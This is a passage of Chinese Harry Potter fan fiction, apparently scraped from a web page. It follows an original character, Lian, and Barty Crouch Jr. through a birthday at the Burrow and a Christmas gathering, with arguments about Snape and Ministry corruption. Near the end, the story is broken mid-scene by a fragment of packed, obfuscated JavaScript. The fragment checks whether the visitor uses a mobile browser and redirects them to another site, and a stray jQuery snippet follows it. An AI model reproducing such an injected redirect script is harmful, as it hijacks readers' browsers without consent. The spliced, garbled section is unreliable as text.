“对你个头!你一看见她就走不动路了!” “她跟你住在同一幢房子里,你还没有习惯她吗?”哈利不可思议的问。 “唉,习惯是习惯了,”罗恩说,“可是如果她在你没防备的时候突然跳出来…” “活该!”赫敏愤怒的说,她大步离开了罗恩,一直走到房间那头的墙边,转身抱起双臂瞪着他。 “你不会真的希望她在这里永远住下去吧?”金妮不敢相信的问罗恩,但罗恩只是耸了耸肩,她又说,“嘿,妈妈会想办法阻止这件事的,信不信由你。” “她怎么可能办到呢?”哈利纳闷的问。 “她三天两头请唐克斯来吃饭,我想她是希望比尔能爱上唐克斯,我也巴不得这样,我情愿让唐克斯成为我们家的一员。” “是啊,想得真妙,”罗恩讽刺道,“听着,只要有芙蓉在,没有哪个头脑正常的人会喜欢唐克斯,我是说,如果唐克斯不把她的头发和鼻子搞得一团糟的话,她的样子还不算难看,可是——” “她比黏痰好看多了。”金妮说。 “而且她更有智慧,她是个傲罗!”赫敏从墙角那儿说道。 “芙蓉也不傻,她很优秀,还参加了三强争霸赛呢。”哈利说。 “想不到你也这样!”赫敏尖刻的说。 “我想,你大概是喜欢黏痰叫你‘阿利’时的那副腔调吧,是不是?”金妮轻蔑的问。 “不是,”哈利目瞪口呆的看着她,“我是说…” “我宁愿让唐克斯上我们家来,”金妮不耐烦的打断了他,“她至少还能逗人开心。” “她最近不大逗人开心了,”罗恩说,“她现在简直像哭泣的桃金娘。” “这么说很不公平,”赫敏厉声说道,“你知道的…我是说,他们是亲戚啊!” “她不喜欢西里斯,”莉安说道,“我问过唐克斯了,她坚决否认这件事,我看得出来,她没有撒谎。” “那她会喜欢谁呢?”金妮迷茫的问。 “反正不是比尔。”罗恩说。 “好像卢平想把她开导过来,但她仍然情绪低落,甚至不能得心应手的搞她的易容术了,她不能像过去那样改变她的容貌了,”赫敏说,“她的法术打了折扣。” “没想到还会有这种事情。”哈利说。 “我也没想到,”赫敏说,“但我猜想,如果心情非常糟糕…” 门被推开了,莫丽探进头来,笑眯眯的看着他们,“我亲爱的孩子们,该吃饭了,哈利,生日快乐!” “你只是不想跟她单独待在一起。”金妮恼火的说,她把长长的红头发往后一甩,那样子活脱脱一个芙蓉,然后像芭蕾舞演员那样悬着两个手臂,翩翩然的飘出了房间。 其他人跟在她身后,只有罗恩神思恍惚。 众人进到厨房后,自觉的去碗橱里帮莫丽拿刀叉和碗碟,小天狼星围着哈利问东问西,两人十分亲密,他们决定过完生日就去凤凰社总部住一段时间,而卢平已经坐在餐桌旁了,他看上去消瘦、憔悴,表情严峻,棕褐色的头发里夹杂着大量白发,衣服比以前还要破烂,补丁更多。 “又发生了两起摄魂怪袭击事件,”当莫丽递给他一大块生日蛋糕时,他说道,“他们在北方的一个小木屋里发现了伊戈尔·卡卡洛夫的尸体黑魔标记悬在上空——唉,坦白的说,他逃跑后居然还能够活一年,倒真让我吃惊,我记得西里斯的弟弟雷古勒斯不出几天就完了。” “因为他是个叛徒,可怜的家伙,当时一定吓坏了,”小天狼星说,“他一定以为自己加入食死徒的行为很勇敢,结果根本不是那回事。” “是啊,”莫丽皱着眉头说,“好了,也许我们应该谈点儿别的——” “弗洛林·福斯科的事你听说了吗,莱姆斯?”比尔问道,芙蓉正给他一杯接一杯的斟酒,他有些尴尬的看了莉安一眼,“就是那个——” “在对角巷开冰淇淋店的?”哈利问,“以前他常给我吃免费的冰淇淋,他怎么啦?” “从小店里的情况看,他被劫走了。” “为什么?”罗恩问。 莫丽严厉的瞪着比尔,希望他闭嘴。 “谁知道呢?他准是不知怎么得罪了他们,这个弗洛林,他可是个好人啊。”比尔没看到莫丽的眼神。 “说到对角巷,”亚瑟说,“好像奥利凡德也不见了。” “就是那个做魔杖的?”金妮显得很吃惊。 “就是他,店里空无一人,没有搏斗的痕迹,谁也不知道他是移民了,还是被绑架了。” “可是魔杖呢?小巫师们要买魔杖怎么办呢?” “只好去找别的魔杖制造者了,”卢平说,“但奥利凡德是最优秀的,如果另一派把他弄去,对我们可就非常不利了。” 莫丽大声咳嗽着,他们立刻醒悟,都不再说话了,只是猛吃蛋糕。 小巴蒂来接莉安时,莫丽一定要他吃块蛋糕再走。 “乔希呀,我觉得你还是正确的,”莫丽瞥了一眼那个大钟,“在家里工作几乎不会出问题,尤其是你们的房子也藏起来了,这更安全了,不过我也找不到你们,幸好亚瑟在魔法部,他经常能看到莉安,这让我放心多了。” 小巴蒂点点头,看了看那个神奇的钟,它有九根指针,每根指针上都刻着一位家庭成员的名字,平常总是挂在韦斯莱家客厅的墙上。 但它现在放在厨房,可见莫丽在家里走到哪儿就把它带到哪儿,眼下,那九根针都指着致命危险。 “它这个样子有一段时间了,”莫丽用一种装出来的轻描淡写的口气说,但装得不像,“自从神秘人公开复出以后,它就是这样,我想现在每个人都处于致命危险中…不可能只是我们家里的人,但我不知道谁家还有这样的钟,所以没法核实。” 小巴蒂又点点头,他懂了,韦斯莱一家是坚定的反黑魔王派系,无一例外,连那个很像老巴蒂的珀西都是。 莉安的手放在了他的肩上,“孩子们呢?有吵闹吗?” “没有,但是他们想你了。” “这就不用担心了吧,”芙蓉不以为意的转向莉安,一甩瀑布般的银色秀发,发梢扫在莫丽的脸上,她嫌弃的看着喝了复方汤剂的小巴蒂,“你们不是有三个小精灵吗?按我说,娶了莉安这样富有的姑娘,你可轻松多了——” “谢谢你,芙蓉,”莉安坚决的打断了她,“但他是无可取代的,就像比尔在你心里的地位一样,好了,莫丽,我该走了。” 金妮一脸愤懑的瞪着芙蓉,她觉得是芙蓉不合时宜的话语赶走了自己的亲亲表姐,莫丽的表情和她差不多。 “男人体贴最重要,乔希很像亚瑟!” 比尔立刻使了个眼神,芙蓉耸了耸肩,没再说话了。 突然间,小巴蒂回身,不仅仅是抱着莉安,而是用双手捧住她的脸颊,深深吻上了她的唇。 莉安有些不自在,但仍然闭上眼睛回吻他。 这一刻她已经等待太久——亲人的认可,以至于她往后唯一能回忆起来的就是所有人都在看着他们,她甚至听到了钟表滴滴答答的走动声音,也是时间流逝的声音,她一直希望这声音永远也不要结束,他也永远也不要停下。 两人离开了陋居,他们幻影移形到祖宅附近的街道上,莉安和他一起走路回家,两人不能手牵手走在路上的别扭阴霾慢慢散去——尽管他不是以本来的面目,他们仍然不能光明正大的在一起。 但这一刻,他们并排着走路,一起回到家里,显形后的他牵着她的手,朝她靠近,又轻轻柔柔的吻上了她的唇,近乎羞怯,带着珍惜的意味,与此同时,正如之前在陋居里接吻时那微弱的背景音,他们客厅里那台电视机播放的微弱的歌曲传来,和陋居的钟表声响合在一起,始终在她耳畔飘荡。 他们仿佛是在乡下的屋顶下接吻,雨水猛烈的砸落在屋顶上,她很喜欢这声音,不希望这声音消失,因为在它的魔力下,她感到舒适、安全、有保障,就像十几年前那个打雷的夜晚。 假若四下寂寂无声,她便会胡思乱想,而这背景音的存在则让她无暇理会这间客厅之外的世界,同时让她知道,此刻的一切并非发生在她的想象之中。 或许她真正希望的是他们能够慢慢来,不要着急,因为十几年她还是个孩子,无论他进不进监狱,他都没办法对她做什么,而如果他没有犯罪,恐怕他早已和别的女人结婚生子。 如果有必要的话,万一未来事情的发展超过她的期待,这声音也许还能将她拉回此刻,让她像鸵鸟一样把头缩进翅膀里,当然,再次遇到他之后,她踯躅、徘徊、回避,不愿面对他,但她的爱从未后退过。 他又吻了她,还是非常轻柔的吻。 这一晚,她不停的从睡梦中醒来,夜晚还很漫长,他们自然而然的拥抱着入睡,他显得很是笨拙,把她小心的搂在怀里,更像一种克制而非长久的搂抱。 他走后的那些年,她曾十分渴望在他的臂弯里体会那长久的拥抱,可他早已松开了手臂,消失不见。 在这半梦半醒中,她又一次感受到那强烈的冲动,渴望撞入他怀中,让他用手臂环绕她,但她忍住了,因为他正抱着她,睡得很熟,她克制的没有吻他的脸颊,而是下意识的吻了他的脖颈。 她觉得,她可以一直追在他身后,去任何地方都可以——只是为了能跟他在一起,不要那么快就说再见。 但还是有什么东西将她拽了回来,最终,心中有另一个声音提醒她,这个夜晚这样结束其实没什么令人不开心的,这本就是个平淡无聊的星期五的夜晚,他已经答应她了,他不会再因为立场而跟她冲突,他愿意改变。 或许他早有预见,他不想在他们之间完美无缺的时候戛然而止,最终眼睁睁的看着一切变质腐坏。 这是一个平淡的夜晚,而他们未来会拥有许多个这样平淡温馨的夜晚。 25. 信仰 1996年12月24日,平安夜,陋居。 平安夜这一天,莉安带着小巴蒂和韦斯莱一家以及客人们坐在客厅里,金妮把这间屋子装饰得五彩缤纷,花团锦簇,简直像发生过一场纸拉花的爆炸似的。 小巴蒂盯着圣诞树顶上的小天使,他怀疑那是个被施了魔法的地精,然后他又扫了一眼唯一能干出这种事的一对活宝。 “给,亲爱的,你最爱的樱桃汁,”莉安从口袋里掏出加了复方汤剂的小瓶樱桃汁给他,用所有人都能听到的声音说,“不爱喝南瓜汁就别勉强自己。” “这季节哪来的樱桃?”罗恩纳闷的问,“我记得赫敏说,根据甘普基本变形法则,你不能变出食物啊?” “这是春天的樱桃,我把它们榨成汁以后放进冰箱里冻着——哈利肯定知道冰箱是什么,”莉安轻描淡写的说,“乔希的父亲是麻瓜,我家有很多麻瓜的东西。” “没错,”哈利说,“只要你想,一年四季都能吃到不同季节的东西。” “据说放进冰箱里的食物保鲜程度很棒,比魔法还厉害,”亚瑟赞赏的说,“又是电力,伟大的发明!” 小巴蒂喝了一口樱桃汁,然后继续盯着那个天使,弗雷德知道被他发现了,嘀嘀咕咕的说,“被你猜到了,谁让它咬我…” 下午他在拔圣诞晚餐用的胡萝卜时被这个小地精咬了脚踝,于是他给它施了昏迷咒,涂成了金色,又塞进了一件小芭蕾舞裙里,背上还粘了对小翅膀,所以这个可怜的地精只能在树顶上对所有人怒目而视。 这是小巴蒂见过的最丑的天使,长着土豆似的大秃脑袋,脚上还有毛。 今晚有莫丽很喜欢的歌手塞蒂娜·沃贝克的圣诞广播,于是塞蒂娜的歌声从木头的大收音机中婉转流出,芙蓉似乎觉得塞蒂娜非常乏味,她在角落里大声和比尔说着话,莫丽皱着眉头不停的用魔杖调整音量开关,使塞蒂娜唱得越来越响。 在一首爵士味特别浓的曲子《一锅火热的爱》的掩护下,弗雷德、乔治跟金妮玩起了噼啪爆炸牌。 小巴蒂坐回沙发上,摸了摸莉安微微隆起的肚子,自从半年前他说想要女儿后,就一直在努力耕耘,把莉安折腾的那阵子总是一副没睡醒的样子,现在她终于缓了过来——四个月了。 罗恩的眼睛老是偷瞟比尔和芙蓉,偶尔也会偷看小巴蒂和莉安互动,好像想和他们学点儿什么技巧。 “他怎么了?”莉安冲着乔治努努嘴,示意他看罗恩。 乔治说,“我们听金妮说,他和一个小姑娘有情况,那小姑娘叫拉文德·布朗,我猜他大概是想跟比尔或者乔希学一学如何获得美丽的姑娘的芳心吧。” 罗恩有点脸红,但似乎并没有不高兴。 “我建议他好好看看《迷倒女巫的十二个制胜法宝》,”弗雷德说,“我真不知道他是怎么想的,我们想知道的是…怎么会呢?” “什么意思?”莉安问。 “那女孩是不是出了车祸什么的?” “闭嘴!”罗恩气愤的说。 “她怎么会这样大面积的脑损伤啊?”说完,弗雷德早有准备躲过了罗恩扔过来的巫师棋子。 “你不是喜欢赫敏吗?”莉安皱着眉看向罗恩。 “她从没说过喜欢我。”罗恩嘟囔着说。 哈利大声咳嗽着,看起来极度不想参与这个话题,莉安猜测罗恩和赫敏一定出了什么问题,而哈利夹在两人中间,最近一定受了不少夹板气,便明智的住了嘴。 卢平显得特别憔悴,他坐在壁炉边,盯着炉火深处,仿佛听不见塞蒂娜的声音。 来搅搅我的这锅汤, 如果你做得很恰当, 我会熬出火热的爱, 陪伴你今夜暖洋洋。 “我们十八岁的时候跟着这音乐跳过舞!”莫丽用手里织的毛线擦了擦眼睛,“你还记得吗,亚瑟?” 剥着小蜜橘打起了瞌睡的亚瑟说,“是啊…多棒的曲子…” 哈利突然问道,“部里忙吗?” “非常忙,这两个月逮捕的三个人里,我怀疑没有一个是真正的食死徒——不过别说出去,哈利。”亚瑟看上去一下子清醒了许多。 “他们不会还关着桑帕克吧?”哈利问。 “恐怕还关着,我知道邓布利多曾想为桑帕克直接向斯克林杰上诉…所有跟他谈过话的人都认为他像这小蜜橘一样不可能是食死徒…可是上面想显得有进展,‘逮捕三人’听起来比‘误捕三人,后释放’好听多了…不过,这都是高度机密。” 莉安轻蔑的冷笑一声,“斯坦·桑帕克就是那个在世界杯营地发生混乱时,在林子里对着三个媚娃吹牛说要做魔法部部长的人,法律执行队通知我要把他们送进阿兹卡班的时候,我特意问了他的罪名,他们说他在破釜酒吧里大声谈论食死徒的秘密计划,我不知道他们是如何理解‘大声’和‘秘密’这两个单词的,更不知道它们要如何联系起来才能让魔法部的行为显得合理合法,只能说这年头连吹牛也不安全了。” 其他人都停下了动作,他们第一次见莉安说这么多话,可见一直把成为傲罗当成自己信仰的她是如何失望,这几个月,她一直在努力接受魔法部已经烂到根子里的事实。 “我不会说的。”哈利说。 这时,塞蒂娜开始唱一首《你用魔法钩走了我的心》。 哦,我可怜的心,它去了哪里? 它离开了我,被魔法钩去… 突然,哈利的声音盖过了歌声,他对卢平问,“你真的喜欢斯内普?” 莉安的脑袋稍稍偏向了他们,听着每一句话。 “我既不喜欢也不讨厌西弗勒斯,”卢平说道,“哈利,我说的是真话,也许我们永远不会成为知心好友,在詹姆、西里斯和西弗勒斯之间的那些事情以后,积怨太多,但我不会忘记我在霍格沃茨任教的那年,斯内普每个月帮我配狼毒药剂,配得非常好,使我在满月时不用像过去那么痛苦。” “可是他‘无意中’走漏了你是狼人的消息,结果你只好离开!”哈利愤然道。 卢平耸了耸肩膀。 “这件事总会泄漏的,我们都知道他想要我的职位,但他只要在药里做点手脚,就可以把我害得更惨,他让我保持健康,我应该感激。” “也许有邓布利多监视,他不敢在药里下手?” “你是决心要恨他,哈利,”卢平无力的一笑,“我理解,詹姆是你父亲,西里斯是你教父,你继承了一种成见,你当然可以把你对亚瑟和我说的话告诉邓布利多,但别指望他跟你看法一致,甚至别指望他会吃惊,也许西弗勒斯是奉了邓布利多的命令去问德拉科的。” “西弗勒斯?”小天狼星露出一副嘲讽的表情,“月亮脸,你的确不一样了。” “莱姆斯,你是个圣人,但你不能让所有人都像你一样,”莉安冷冰冰的声音加入了这场谈话,“这样对哈利不公平。” 卢平惊讶的看着她,但莉安感觉更厌烦了。 “你不像个格兰芬多,噢,也对,毕竟你没有经历过斯内普的摧残,”莉安尖锐的说,“纳威不过上了两年学,斯内普就变成了他心里最可怕的人,超过了一手带他长大的奶奶——他从小最害怕的人,你是见过纳威的博格特的,也是你教他让斯内普穿着他奶奶的衣服的,你怎么还是不明白他对纳威、对哈利、对赫敏,甚至对我,对我们做了什么呢?一个没有师德的家伙,你问问这幢房子里他所有教过的学生,有谁会喜欢他。” 她继续尖刻的说,“如果不是邓布利多,我一定会把他送进阿兹卡班,当然啦,邓布利多能保他一时,保不了他一世,最稳妥的做法就是不要让我出头——别让斯内普这个家伙落在我手里——” “但他是你的老师——” “别提老师这个词!小巴蒂·克劳奇也是我的老师!”莉安怒吼着说,“但他才是我见过最好的老师!再也没人对我这么好!他比穆迪还像穆迪,而真正穆迪根本不会那么耐心的对待我!连邓布利多都没有发现他的伪装不是吗?我被一个食死徒教导了一年,这多可笑!食死徒教出来的傲罗!” “你疯了…”卢平脸上失去了血色,震惊的望着她,喃喃的说,“你疯了!” “我疯了?哼…我疯了,”莉安失控的提高了音量,“卢平,我们走着瞧,看看是谁疯了!你这个圣父!你说哈利的爸爸和西里斯霸凌斯内普,那这就是斯内普霸凌哈利的理由吗?好,如果你认为是,那么纳威呢?疯了的隆巴顿夫妇霸凌斯内普了吗?那么我呢?我死去的爸爸和叔叔霸凌斯内普了吗?恕我提醒,我爸爸毕业的时候,斯内普还在他妈妈怀里吃奶!” “这句话有点熟悉…”哈利结结巴巴的说,“我听到过…” “但是我认为莉安没错,”小天狼星平静的说,“哈利,你爸爸救了他,但是他忘恩负义——” “我是被施了夺魂咒,但是清醒后,我记得发生的事,”莉安几乎是愤怒的在高喊,“没错,这就是他说过的话!不要说我疯了,我看疯的是这些个圣母圣父!” 小巴蒂连忙拍了拍她的后背,“别生气。” “我没办法不生气,”她冷冷的说,“我为什么一定要杀死多洛霍夫呢?因为我知道把他送进阿兹卡班不会解决任何问题,明知摄魂怪已经叛变并且出现大规模越狱的情况下,到底是多么愚蠢的人才会继续把那些危险食死徒投入阿兹卡班呢?我一直想把马尔福、克拉布和高尔扔进去,但不是现在!你们等着看吧,他们迟早会出来的…” 亚瑟的瞌睡都吓醒了,莫丽也愣愣的看着她,芙蓉还没意识到发生了什么事,而其他人都是一副敬畏的表情。 “我觉得莉安说得对,”乔治表示了赞同,“斯内普他的确不是什么好人,又不是我们不让他洗头的…” 弗雷德点点头,“我不否认他的教学能力,但是他这个嘛——人品堪忧——” 弗雷德指了指脑袋,耸了耸肩。 …而今你已把它撕破, 请把我的心还给我! 塞蒂娜以一个长长的高音结束了她的演唱,收音机里传出响亮的掌声,莉安愤愤的转过身,靠在丈夫怀里不再说话,小巴蒂又喝了一口樱桃汁,只有莫丽尴尬的鼓了鼓掌。 “完了?”芙蓉大声说,“谢天谢地,好难听。” “睡觉前喝点饮料怎么样?”亚瑟安慰的对卢平说,“谁要蛋酒?你吗?” “不了,”卢平干巴巴的说,“我还有任务,邓布利多需要我,我正好是…现成的。” “我知道,”亚瑟警惕的说,“格雷伯克是吧?” “就是他,”卢平的双手在膝上痉挛的握紧了,他被莉安说得有些难过,只好转移话题,“那个狼人,和神秘人是一边的,他专攻小孩…他说趁小时候咬,然后把他们从父母身边带走,培养他们仇恨巫师,神秘人威胁要把格雷伯克放出去咬人家的小孩,这威胁通常很有效。” 卢平停顿片刻,又说,“是格雷伯克咬的我。” “什么?”哈利吃了一惊,“你是说在——在你小时候?” “对,我父亲冒犯了他,我有很长时间一直不知道袭击我的狼人是谁,我甚至怜悯他,以为他是控制不住,那时我已经知道一个人变成狼是什么滋味,但格雷伯克并不是那样,满月时他靠近猎物,确保袭击得手,他完全是有预谋的,格雷伯克坚持认为我们狼人应该吸血,应该对正常人进行报复,我不敢说我那种理智的辩论对他有多少效果。” “可你是正常的!”哈利激烈的说,“你只是有一个——一个问题——” 卢平笑了起来。 “有时你让我想起了詹姆的很多事,他当着人就说这是我的‘毛茸茸的小问题’,许多人以为我养了一只不听话的兔子。” “何止是这些,”小天狼星瞪着他,“是詹姆先提出让我们学习阿尼马格斯的,只为了陪你度过月圆之夜,你却为斯内普说话!不要带坏了哈利!如果不是他刺激我,我怎么可能——” 卢平不再说话了,莉安从鼻子里发出一声不屑的冷哼,闭着眼睛在小巴蒂怀里拱来拱去,一副厌倦的样子。 “这么大火气,看来是个脾气暴躁的小家伙,”小巴蒂宠溺的说,“还要吃点儿东西吗?” “一会儿回去再吃。” “你们不留下来吗?”莫丽关心的问。 “明天我们再来,”莉安语气缓和了许多,她睁开眼睛,对莫丽笑了笑,“不然我们恐怕就要住到珀西的房间里去了——你知道,他肯定会不高兴的。” 一提起珀西,莫丽和亚瑟的脸色都有些古怪,乔治无聊的吹了声口哨,“别提那个家伙,他还没有想明白。” “珀西怎么样了?”莉安难以置信的问,“他跟莫丽还没有和好吗?” “没有。”弗雷德说。 “可是他现在知道,黑魔头会回来的说法是对的,圣诞节他也不回来了?” 莫丽转过身去,大概是在擦眼泪。 “我想他忙吧,在部里。” “或者他是世界上最大的蠢货,”乔治小声说,“二者必居其一。” “还能比我忙吗?”莉安也不屑的小声回道,怕刺激莫丽。 也许是为了活跃气氛,也许是想讨好莫丽,芙蓉决定模仿塞蒂娜唱《一锅火热的爱》,看到莫丽的表情之后,大家都识趣的告辞,小天狼星带着哈利匆匆的走了,卢平也是,他觉得自己今天被针对了,而小天狼星也不能理解他。 小天狼星:看在我们多年好兄弟的份上,不想说脏话,叉子啊,你死得太早了! 莉安回了家后,愤愤不平的坐在沙发上,甚至忍不住讽刺了小巴蒂。 “斯内普真是有本事,邓布利多信任他,黑魔头也信任他,连你也拿他没办法,看来帮他重塑肉身的功劳也不过如此!所以你到底忙活什么呢?为了个不把你当回事的主人要死要活,却对我的付出视而不见,你是想气死我吗?还是你就喜欢看一个傻女人对你痴迷、为你神魂颠倒?你现在一定很有成就感吧?” “我没有——” “不要跟我说话!”莉安猛地起身,“我算是看清了,只有不把你当回事,利用你、戏弄你,才会得到你愚蠢的忠诚!而我是这个世界上最大的傻瓜!我真后悔爱上你!” 小巴蒂脸色苍白的看着她,哪怕他知道这是她的气话,但此刻他的心依然被刺得很痛,他努力试图安抚妻子剧烈起伏的情绪,“我知道,你现在变得喜怒无常了,这个孩子让你越来越烦躁,那不是你的真心话,我知道的…” “那就是我的真心话,”莉安冷冰冰的瞥了他一眼,转身往楼上走,“你去其他房间,我不想看到你。” “可这是圣诞节,”小巴蒂难以置信的抓着她的手臂,几乎是讨好的说道,“这是你最喜欢的节日,是我们在一起的日子,也是我们孩子出生的那天,别这样对我,你现在一点儿也不冷静了…” “我很冷静,放开我!”莉安歇斯底里的吼道,“我讨厌你!我讨厌魔法部!我讨厌食死徒!我现在已经不知道我自己在做什么了!现在魔法部的行为那么荒谬,傲罗和食死徒又有什么区别呢?审判那些无辜的人,然后把他们抓进阿兹卡班,对外营造出一种在努力对抗黑魔头的样子!实际上呢?翻倒巷里随便抓一个人都比抓那个桑帕克的效果要好很多!我不明白…我不明白!你不懂!” “我怎么不懂?”小巴蒂紧紧的搂着她,不停抚摸她的后背,“我懂,你的信仰破灭了,你以为傲罗是公正的执法者,你以为你会像普威特兄弟那样意气风发,但是等你进了魔法部,却发现压根不是那回事…亲爱的,那不是你的问题,我只能说,现在的魔法部比以前更烂了,烂得很彻底,福吉的乱政不仅削弱了魔法部的实力,最可怕的是他粉饰的虚假太平破裂后,魔法部的公信力遭受到致命的打击,你也许不知道,一国政府的公信力崩溃会产生多么严重的后果,而斯克林杰并没有力挽狂澜的能力,他是个莽夫,只能做点面子工程,他想挽回巫师们对魔法部的信任,鼓舞士气,所以才会急不可待的抓捕那些无辜的人,他乐在其中了,现在你改变不了他。” 莉安听了他的分析,也不挣扎了,放声大哭。 “巴蒂,我好难过…这是不是对我的惩罚呢?我想是的…因为我是个坏人,我不配做傲罗,我两次协助你逃跑…可我不能…我不能眼睁睁的看着你离开我…” 她的呜咽声让小巴蒂的心更痛了,他猜测每次她为了自己违背原则时,内心的愧悔就更多一层,这种深深的自我厌弃几乎能把人压垮,她一直强撑着没有崩溃,而魔法部的黑暗和腐败成了压倒骆驼的最后一根稻草,最终让她的坚持在残酷的现实面前溃不成军。 积攒太多的泪水,终有一天会决堤。 “不会的,你要重建它,必须先摧毁它,”小巴蒂耐心的说,“再等等,亲爱的,既然已经看清了魔法部,你还有凤凰社,至少在那里,你没有发现什么让你厌恶的东西不是吗?” “斯内普算不算?”莉安抽泣着说。 “他是邓布利多的人,我早就发现了,”小巴蒂冷哼一声,“我没有揭穿他,怕坏了你的事,而且你刚才对我的指控是错的,如果我向黑魔王提出对斯内普的质疑,并要求跟他对峙,那么第二天你就可以看到黑魔标记悬在斯内普的尸体上,就像卡卡洛夫那样。” “为什么不呢?” “首先,他还有点儿用,他的确在传递邓布利多的信息,虽然是半真半假,但是黑魔王也只会相信一半,”小巴蒂耐心的解释道,“第二,我怕斯内普狗急跳墙,我们的关系是瞒不过他的,他当然没有证据,但穆迪最喜欢的学生是你,这是人尽皆知的事,黑魔王的怀疑不需要任何证据,他只要忠心,就像他当初要求雷古勒斯对他表忠心而向他索要小精灵那样,我不想你引起他的注意,一丝可能都不行。” 莉安恐惧的抱着他,声音也颤抖着,“巴蒂,你在他身边,是不是就像在刀刃上舞蹈那样?我怕你一个行差踏错——” “不会,我的地位和贝拉一样,斯内普比我们两个还差一点,”小巴蒂看她慢慢冷静下来,又开始关心自己,缓缓的松了口气,“我会想办法解决掉这些麻烦的,你和孩子在我心里才是最重要的,别再说那种话,如果我明天出去了,再也回不来,你对我的最后一句话却是责备,却是再也不想见到我,你会后悔的。” 莉安惶惶不安的搂着他的腰,在他胸口上擦了擦眼泪,“对不起,巴蒂…我最近不知道怎么了…我总是想发脾气…那不是我的真心话,遇到你,我从来不曾不后悔…” “哦,正常反应,这个孩子看来是个脾气大的小姑娘,”小巴蒂听到她温和到有些近乎悲伤的话语,和她轻轻的触碰,心里那股疼痛逐渐被抚平了,他把她抱起来,往卧室走去,把她放在床上之前,还掂了掂重量,这才心满意足的说,“没像上次那样变瘦,很好——” 莉安看他温柔的把她的手腕压在床上,就那么轻轻摩挲,这些都是一个男人能够做到的最温柔、最善意的姿态,短短一分钟就带给她丰盛的愉悦,那分明只是微小的爱抚,却让她的怒火消失的无影无踪,要是之后他忘记这样做,那她肯定会要求他像再次摩挲她的手腕。 她不希望明天的琐事冲刷掉她此刻的感受,或者冲走今晚的记忆,尘埃落定时,他们深情的亲吻,唯一让她乐于倾听的就是下雪的声音,还有雪花飘落压断树枝时他在她身边令人心动的喘息声,窗外的每一丝动静都提醒她,他们不是最后回到家里的人,这是多么幸运。 第二天,两人又来到陋居,当他们坐下吃圣诞午餐时,发现每个人都穿着新毛衣,除了芙蓉——莫丽似乎不愿在她身上浪费一件,她自己也没有新毛衣,但她戴着一顶崭新的女巫帽,夜空一样的深蓝色上闪烁着小星星般的钻石,还有一串夺目的金项链。 “弗雷德和乔治送给我的!漂亮吧?” “我们越来越感激你了,妈妈,现在我们自己洗袜子了,”乔治说,一边潇洒的一挥手,“要防风草根吗,莱姆斯?” “哈利,你头上有一条蛆。”金妮快活的说,隔着桌子欠身帮他拿掉了。 “哦,好恶心。”芙蓉说,做作的哆嗦了一下,莉安也点了点头,毕竟徒手拿蛆什么的… “可不,”罗恩说,“要肉汁吗,芙蓉?” 他急于献殷勤,把肉汁碟碰飞了,比尔一挥魔杖,肉汁升到空中,顺从的落回到碟子里。 “你跟那个唐克斯一样笨,”芙蓉亲了一下比尔之后对罗恩说,“她总是打翻——” “我邀请了亲爱的唐克斯,”韦莫丽放下叉子,瞪着芙蓉,突然话锋一转,“可她不肯来,你最近跟她谈过吗,莱姆斯?” “没有,”卢平说,“我跟谁都没多少联系,但唐克斯要回她自己的家,是不是?” “嗯,”莫丽说,“也许吧,我感觉她是打算一个人过圣诞节。” 她恼火的看了卢平一眼,好像她摊到芙蓉而不是唐克斯当儿媳全是他的错。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727491|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莉安心里咯噔一下,莫丽这个眼神… 难道唐克斯喜欢的是卢平? 正当她思索时,她突然感觉莫丽哀怨的看了她一眼,仿佛她跟卢平的错误一样大。 果然,当一个人要求在墙上开个窗户时,大家都反对,但如果他提出要把屋顶掀了,大家就同意开窗户了。 她想,莫丽是不愿意让她跟比尔在一起的,但是遇到芙蓉之后,莫丽好像觉得,她也不错…除了她和比尔血缘太近,其他一点儿问题也没有。 此时芙蓉正在用她自己的叉子喂比尔吃火鸡,众人纷纷对这当众秀恩爱的行为有些不适应,但也不得不承认,莫丽输定了,这两人爱得轰轰烈烈。 “唐克斯的守护神变了,”哈利对卢平说,“我不知道会有这种事,守护神为什么会变呢?” 卢平不慌不忙的嚼着火鸡,咽下之后缓缓的说道,“有时…大的打击…感情剧变…” “它看上去很大,还有四条腿,”哈利压低声音说,“嘿…不会是——” “亚瑟!”莫丽突然叫道,她从椅子上站起来,手捂着心口,瞪着厨房窗外,“亚瑟——是珀西!” “什么?” 亚瑟回过头,大家立刻都望向窗外,金妮站了起来,珀西正踏着院中的积雪大步走来,玳瑁框的眼镜在阳光下一闪一闪的,然而他并不是一个人。 “亚瑟,他——他是跟部长一起来的!” 珀西身后那人有一点儿瘸,他看起来活像一头老狮子,茶褐色的头发里夹杂着缕缕灰色,金丝边眼镜后面是一双锐利的眼睛,他的头发和黑斗篷上落了片片白雪,大家谁也没来得及说话,韦斯莱夫妇刚交换了一个吃惊的眼神,后门就开了,珀西站在了门口。 一阵难堪的沉默后,珀西生硬的说,“圣诞快乐,妈妈。” “哦,珀西!”莫丽叫着扑到了他的怀里。 “无事不登三宝殿。”很少说话的小巴蒂突然来了这么一句,大家都愣住了。 魔法部部长斯克林杰在门口停了下来,他拄着拐杖,微笑的看着这感人的一幕,仿佛没听到小巴蒂的讽刺似的。 “打扰了,请原谅,”他说,“珀西和我在附近办事,他忍不住要来看看你们。” 但珀西没有想跟其他人打招呼的意思,他直挺挺的站在那儿,显得很不自然,目光越过众人的头顶,亚瑟、莉安、弗雷德和乔治都板着面孔看向他。 “请进,坐吧,部长!”莫丽慌乱的说着,扶正了自己的帽子,“吃一点火鸡,或布丁——” “不用,亲爱的莫丽,”斯克林杰说,“我不想打扰,要不是珀西想见你们,我也不会来…” “哦,珀西!”莫丽含着泪叫道,踮起脚尖去吻他的面颊。 “我到院子里走走,你们跟珀西多聊一会儿,嗯,如果有人愿意带我参观一下你们可爱的花园…啊,那个小伙子吃完了,你陪我散散步可以吗?” 餐桌旁的气氛明显变了,大家的目光从斯克林杰转移到了哈利身上,似乎没人相信斯克林杰不知道哈利的名字,也没人觉得他被选中陪部长到花园散步很自然,因为金妮、芙蓉和乔治的盘子也都空了。 “好啊。”哈利说道。 